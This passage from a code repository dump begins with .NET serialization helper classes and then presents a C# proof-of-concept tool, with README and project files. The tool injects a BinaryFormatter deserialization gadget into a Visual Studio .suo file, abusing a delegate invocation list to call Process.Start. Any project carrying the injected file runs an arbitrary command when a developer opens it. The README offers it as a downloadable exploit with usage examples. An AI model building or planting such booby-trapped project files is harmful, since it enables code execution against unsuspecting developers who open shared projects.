| bool result = true; 803 | if (this.numMembers == numMembers) 804 | { 805 | for (int i=0; i 0) 347 | return false; 348 | else 349 | return true; 350 | } 351 | 352 | [Conditional("SER_LOGGING")] 353 | internal void Dump() 354 | { 355 | for (int i=0; i negObjects.Length - 1) 406 | return null; 407 | return negObjects[-index]; 408 | } 409 | else 410 | { 411 | if (index > objects.Length - 1) 412 | return null; 413 | return objects[index]; 414 | } 415 | } 416 | set 417 | { 418 | if (index < 0) 419 | { 420 | if (-index > negObjects.Length-1 ) 421 | { 422 | IncreaseCapacity(index); 423 | } 424 | negObjects[-index] = value; 425 | 426 | } 427 | else 428 | { 429 | if (index > objects.Length-1 ) 430 | { 431 | IncreaseCapacity(index); 432 | } 433 | if (objects[index] != null) 434 | { 435 | //Console.WriteLine("SizedArray Setting a non-zero "+index+" "+value); 436 | } 437 | objects[index] = value; 438 | } 439 | } 440 | } 441 | 442 | internal void IncreaseCapacity(int index) 443 | { 444 | try 445 | { 446 | if (index < 0) 447 | { 448 | int size = Math.Max(negObjects.Length * 2, (-index)+1); 449 | Object[] newItems = new Object[size]; 450 | Array.Copy(negObjects, 0, newItems, 0, negObjects.Length); 451 | negObjects = newItems; 452 | } 453 | else 454 | { 455 | int size = Math.Max(objects.Length * 2, index+1); 456 | Object[] newItems = new Object[size]; 457 | Array.Copy(objects, 0, newItems, 0, objects.Length); 458 | objects = newItems; 459 | } 460 | } 461 | catch (Exception) 462 | { 463 | throw new SerializationException(Environment.GetResourceString("Serialization_CorruptedStream")); 464 | } 465 | } 466 | 467 | } 468 | 469 | [Serializable] 470 | internal sealed class IntSizedArray : ICloneable 471 | { 472 | internal int[] objects = new int[16]; 473 | internal int[] negObjects = new int[4]; 474 | 475 | public IntSizedArray() 476 | { 477 | } 478 | 479 | private IntSizedArray(IntSizedArray sizedArray) 480 | { 481 | objects = new int[sizedArray.objects.Length]; 482 | sizedArray.objects.CopyTo(objects, 0); 483 | negObjects = new int[sizedArray.negObjects.Length]; 484 | sizedArray.negObjects.CopyTo(negObjects, 0); 485 | } 486 | 487 | public Object Clone() 488 | { 489 | return new IntSizedArray(this); 490 | } 491 | 492 | 493 | internal int this[int index] 494 | { 495 | get 496 | { 497 | if (index < 0) 498 | { 499 | if (-index > negObjects.Length-1 ) 500 | return 0; 501 | return negObjects[-index]; 502 | } 503 | else 504 | { 505 | if (index > objects.Length-1 ) 506 | return 0; 507 | return objects[index]; 508 | } 509 | } 510 | set 511 | { 512 | if (index < 0) 513 | { 514 | if (-index > negObjects.Length-1 ) 515 | { 516 | IncreaseCapacity(index); 517 | } 518 | negObjects[-index] = value; 519 | 520 | } 521 | else 522 | { 523 | if (index > objects.Length-1 ) 524 | { 525 | IncreaseCapacity(index); 526 | } 527 | objects[index] = value; 528 | } 529 | } 530 | } 531 | 532 | internal void IncreaseCapacity(int index) 533 | { 534 | try 535 | { 536 | if (index < 0) 537 | { 538 | int size = Math.Max(negObjects.Length * 2, (-index)+1); 539 | int[] newItems = new int[size]; 540 | Array.Copy(negObjects, 0, newItems, 0, negObjects.Length); 541 | negObjects = newItems; 542 | } 543 | else 544 | { 545 | int size = Math.Max(objects.Length * 2, index+1); 546 | int[] newItems = new int[size]; 547 | Array.Copy(objects, 0, newItems, 0, objects.Length); 548 | objects = newItems; 549 | } 550 | } 551 | catch (Exception) 552 | { 553 | throw new SerializationException(Environment.GetResourceString("Serialization_CorruptedStream")); 554 | } 555 | } 556 | } 557 | 558 | internal sealed class NameCache 559 | { 560 | static System.Collections.Concurrent.ConcurrentDictionary ht = new System.Collections.Concurrent.ConcurrentDictionary(); 561 | String name = null; 562 | 563 | internal Object GetCachedValue(String name) 564 | { 565 | this.name = name; 566 | object value; 567 | return ht.TryGetValue(name, out value) ? value : null; 568 | } 569 | 570 | internal void SetCachedValue(Object value) 571 | { 572 | ht[name] = value; 573 | } 574 | } 575 | 576 | #if _DEBUG 577 | // Utilities 578 | internal static class Util 579 | { 580 | // Replaces a null string with an empty string 581 | internal static String PString(String value) 582 | { 583 | if (value == null) 584 | return ""; 585 | else 586 | return value; 587 | } 588 | 589 | // Converts an object to a string and checks for nulls 590 | 591 | internal static String PString(Object value) 592 | { 593 | if (value == null) 594 | return ""; 595 | else 596 | return value.ToString(); 597 | } 598 | 599 | // Converts a single int array to a string 600 | 601 | internal static String PArray(int[] array) 602 | { 603 | if (array != null) 604 | { 605 | StringBuilder sb = new StringBuilder(10); 606 | sb.Append("["); 607 | for (int i=0; i(String.Compare); 51 | Comparison d = (Comparison)MulticastDelegate.Combine(da, da); 52 | IComparer comp = Comparer.Create(d); 53 | SortedSet set = new SortedSet(comp); 54 | set.Add(cmdFileName); 55 | if (!string.IsNullOrEmpty(cmdArguments)) 56 | { 57 | set.Add(cmdArguments); 58 | } 59 | else 60 | { 61 | set.Add(""); 62 | } 63 | FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); 64 | object[] invoke_list = d.GetInvocationList(); 65 | invoke_list[1] = new Func(Process.Start); 66 | fi.SetValue(d, invoke_list); 67 | MemoryStream stream = new MemoryStream(); 68 | System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter(); 69 | fmt.Serialize(stream, set); 70 | string b64encoded = Convert.ToBase64String(stream.ToArray()); 71 | string payload_bf_json = @"[{'Id': 1, 72 | 'Data': { 73 | '$type': 'SerializationHeaderRecord', 74 | 'binaryFormatterMajorVersion': 1, 75 | 'binaryFormatterMinorVersion': 0, 76 | 'binaryHeaderEnum': 0, 77 | 'topId': 1, 78 | 'headerId': -1, 79 | 'majorVersion': 1, 80 | 'minorVersion': 0 81 | }},{'Id': 2, 82 | 'TypeName': 'ObjectWithMapTyped', 83 | 'Data': { 84 | '$type': 'BinaryObjectWithMapTyped', 85 | 'binaryHeaderEnum': 4, 86 | 'objectId': 1, 87 | 'name': 'System.Security.Claims.ClaimsPrincipal', 88 | 'numMembers': 1, 89 | 'memberNames':['m_serializedClaimsIdentities'], 90 | 'binaryTypeEnumA':[1], 91 | 'typeInformationA':[null], 92 | 'typeInformationB':[null], 93 | 'memberAssemIds':[0], 94 | 'assemId': 0 95 | }},{'Id': 10, 96 | 'TypeName': 'ObjectString', 97 | 'Data': { 98 | '$type': 'BinaryObjectString', 99 | 'objectId': 5, 100 | 'value': '" + b64encoded + @"' 101 | }},{'Id': 11, 102 | 'TypeName': 'MessageEnd', 103 | 'Data': { 104 | '$type': 'MessageEnd' 105 | }}]"; 106 | MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(payload_bf_json); 107 | return ms.ToArray(); 108 | } 109 | static void Main(string[] args) 110 | { 111 | if (args.Length < 3) 112 | { 113 | ShowHelp(); 114 | return; 115 | } 116 | 117 | string input = args[0]; 118 | string output = args[1]; 119 | string cmdFile = args[2]; 120 | string extraArgs=string.Join(" ", args, 3, args.Length-3); 121 | byte[] data = InjectSuoFile(File.ReadAllBytes(input), cmdFile, extraArgs); 122 | File.WriteAllBytes(output, data); 123 | Console.WriteLine("Complete!"); 124 | Console.WriteLine("Press enter to exit..."); 125 | Console.ReadLine(); 126 | } 127 | 128 | private static void ShowHelp() 129 | { 130 | Console.WriteLine("Usage: suo_exploit_test.exe input.suo output.suo command [optional args]"); 131 | Console.WriteLine(); 132 | Console.WriteLine("Examples:"); 133 | Console.WriteLine(" suo_exploit_test.exe input.suo injected.suo calc"); 134 | Console.WriteLine(" suo_exploit_test.exe input.suo injected.suo cmd /c start calc"); 135 | Console.WriteLine(); 136 | Console.WriteLine("The input.suo is an existing .suo for the program to modify"); 137 | Console.WriteLine("The injected.suo is the output, thats the file which when open by visual studio's will run your command"); 138 | } 139 | 140 | } 141 | } 142 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("suo_exploit_test")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("suo_exploit_test")] 13 | [assembly: AssemblyCopyright("Copyright © 2023")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("7a8030f0-d5e2-486a-9cd3-2928b8a5f181")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # VisualStudio .suo deserialization exploit 3 | 4 | 5 | 6 | A Proof of Concept (PoC) that will create a .suo file, this .suo file and can be put into any VisualStudio code project. When the sln/project is opened it will cause code execution. This technique was discovered by cjm00nw & edwardzpeng! 7 | 8 | 9 | 10 | ## Installation 11 | 12 | 13 | 14 | This project is a Visual Studio Code project and requires Visual Studio and C# to be installed. 15 | 16 | 17 | 18 | ## Usage 19 | 20 | 21 | 22 | 1. Go to the "Releases" section of this repository. 23 | 24 | 2. Download the latest release of "suo_exploit_test.exe" 25 | 26 | 3. Open a command prompt or PowerShell. 27 | 28 | 4. Run the exploit executable with the desired command, like: 29 | 30 | suo_exploit_test.exe input.suo injected.suo calc 31 | 32 | or 33 | 34 | suo_exploit_test.exe input.suo injected.suo cmd /c start calc 35 | 36 | 37 | 38 | ## Help menu 39 | 40 | 41 | 42 | Usage: 43 | 44 | suo_exploit_test.exe input.suo output.suo command [optional args] 45 | 46 | 47 | 48 | Examples: 49 | 50 | 51 | 52 | suo_exploit_test.exe input.suo injected.suo calc 53 | 54 | suo_exploit_test.exe input.suo injected.suo cmd /c start calc 55 | 56 | 57 | 58 | 59 | The input.suo is an existing .suo for the program to modify 60 | 61 | 62 | The injected.suo is the output, thats the file which when open by visual studio's will run your command 63 | 64 | 65 | 66 | ## Credits 67 | 68 | 69 | 70 | Credits to cjm00nw & edwardzpeng for discovering this technique. 71 | 72 | 73 | 74 | ## Contact 75 | 76 | 77 | 78 | **Contact the Developer:** 79 | 80 | - **Telegram:** [moom825](https://t.me/moom825) 81 | 82 | - **Discord:** moom825 83 | 84 | 85 | 86 | ## Donation 87 | 88 | ### Buy me a coffee! 89 | 90 | BTC: bc1qg4zy8w5swc66k9xg29c2x6ennn5cyv2ytlp0a6 -------------------------------------------------------------------------------- /packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /suo_exploit_test.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {7A8030F0-D5E2-486A-9CD3-2928B8A5F181} 9 | Exe 10 | suo_exploit_test 11 | suo_exploit_test 12 | v4.8 13 | 512 14 | true 15 | true 16 | 17 | 18 | 19 | 20 | AnyCPU 21 | true 22 | full 23 | false 24 | bin\Debug\ 25 | DEBUG;TRACE 26 | prompt 27 | 4 28 | 29 | 30 | AnyCPU 31 | pdbonly 32 | true 33 | bin\Release\ 34 | TRACE 35 | prompt 36 | 4 37 | 38 | 39 | 40 | packages\Costura.Fody.5.7.0\lib\netstandard1.0\Costura.dll 41 | 42 | 43 | 44 | packages\Microsoft.Win32.Primitives.4.3.0\lib\net46\Microsoft.Win32.Primitives.dll 45 | True 46 | True 47 | 48 | 49 | packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll 50 | 51 | 52 | packages\OpenMcdf.2.3.0\lib\net40\OpenMcdf.dll 53 | 54 | 55 | 56 | packages\System.AppContext.4.3.0\lib\net463\System.AppContext.dll 57 | True 58 | True 59 | 60 | 61 | 62 | packages\System.Console.4.3.0\lib\net46\System.Console.dll 63 | True 64 | True 65 | 66 | 67 | packages\System.Diagnostics.DiagnosticSource.4.3.0\lib\net46\System.Diagnostics.DiagnosticSource.dll 68 | 69 | 70 | packages\System.Diagnostics.Tracing.4.3.0\lib\net462\System.Diagnostics.Tracing.dll 71 | True 72 | True 73 | 74 | 75 | packages\System.Globalization.Calendars.4.3.0\lib\net46\System.Globalization.Calendars.dll 76 | True 77 | True 78 | 79 | 80 | packages\System.IO.4.3.0\lib\net462\System.IO.dll 81 | True 82 | True 83 | 84 | 85 | packages\System.IO.Compression.4.3.0\lib\net46\System.IO.Compression.dll 86 | True 87 | True 88 | 89 | 90 | 91 | packages\System.IO.Compression.ZipFile.4.3.0\lib\net46\System.IO.Compression.ZipFile.dll 92 | True 93 | True 94 | 95 | 96 | packages\System.IO.FileSystem.4.3.0\lib\net46\System.IO.FileSystem.dll 97 | True 98 | True 99 | 100 | 101 | packages\System.IO.FileSystem.Primitives.4.3.0\lib\net46\System.IO.FileSystem.Primitives.dll 102 | True 103 | True 104 | 105 | 106 | packages\System.Linq.4.3.0\lib\net463\System.Linq.dll 107 | True 108 | True 109 | 110 | 111 | packages\System.Linq.Expressions.4.3.0\lib\net463\System.Linq.Expressions.dll 112 | True 113 | True 114 | 115 | 116 | packages\System.Net.Http.4.3.0\lib\net46\System.Net.Http.dll 117 | True 118 | True 119 | 120 | 121 | packages\System.Net.Sockets.4.3.0\lib\net46\System.Net.Sockets.dll 122 | True 123 | True 124 | 125 | 126 | 127 | packages\System.Reflection.4.3.0\lib\net462\System.Reflection.dll 128 | True 129 | True 130 | 131 | 132 | packages\System.Runtime.4.3.0\lib\net462\System.Runtime.dll 133 | True 134 | True 135 | 136 | 137 | packages\System.Runtime.Extensions.4.3.0\lib\net462\System.Runtime.Extensions.dll 138 | True 139 | True 140 | 141 | 142 | packages\System.Runtime.InteropServices.4.3.0\lib\net463\System.Runtime.InteropServices.dll 143 | True 144 | True 145 | 146 | 147 | packages\System.Runtime.InteropServices.RuntimeInformation.4.3.0\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll 148 | True 149 | True 150 | 151 | 152 | packages\System.Security.Cryptography.Algorithms.4.3.0\lib\net463\System.Security.Cryptography.Algorithms.dll 153 | True 154 | True 155 | 156 | 157 | packages\System.Security.Cryptography.Encoding.4.3.0\lib\net46\System.Security.Cryptography.Encoding.dll 158 | True 159 | True 160 | 161 | 162 | packages\System.Security.Cryptography.Primitives.4.3.0\lib\net46\System.Security.Cryptography.Primitives.dll 163 | True 164 | True 165 | 166 | 167 | packages\System.Security.Cryptography.X509Certificates.4.3.0\lib\net461\System.Security.Cryptography.X509Certificates.dll 168 | True 169 | True 170 | 171 | 172 | packages\System.Text.RegularExpressions.4.3.0\lib\net463\System.Text.RegularExpressions.dll 173 | True 174 | True 175 | 176 | 177 | 178 | 179 | packages\System.Xml.ReaderWriter.4.3.0\lib\net46\System.Xml.ReaderWriter.dll 180 | True 181 | True 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | -------------------------------------------------------------------------------- /suo_exploit_test.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.33328.57 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "suo_exploit_test", "suo_exploit_test.csproj", "{7A8030F0-D5E2-486A-9CD3-2928B8A5F181}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {7A8030F0-D5E2-486A-9CD3-2928B8A5F181}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {7A8030F0-D5E2-486A-9CD3-2928B8A5F181}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {7A8030F0-D5E2-486A-9CD3-2928B8A5F181}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {7A8030F0-D5E2-486A-9CD3-2928B8A5F181}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {BDD9B4C4-5C83-447B-9AC0-EDF507336BB4} 24 | EndGlobalSection 25 | EndGlobal 26 | --------------------------------------------------------------------------------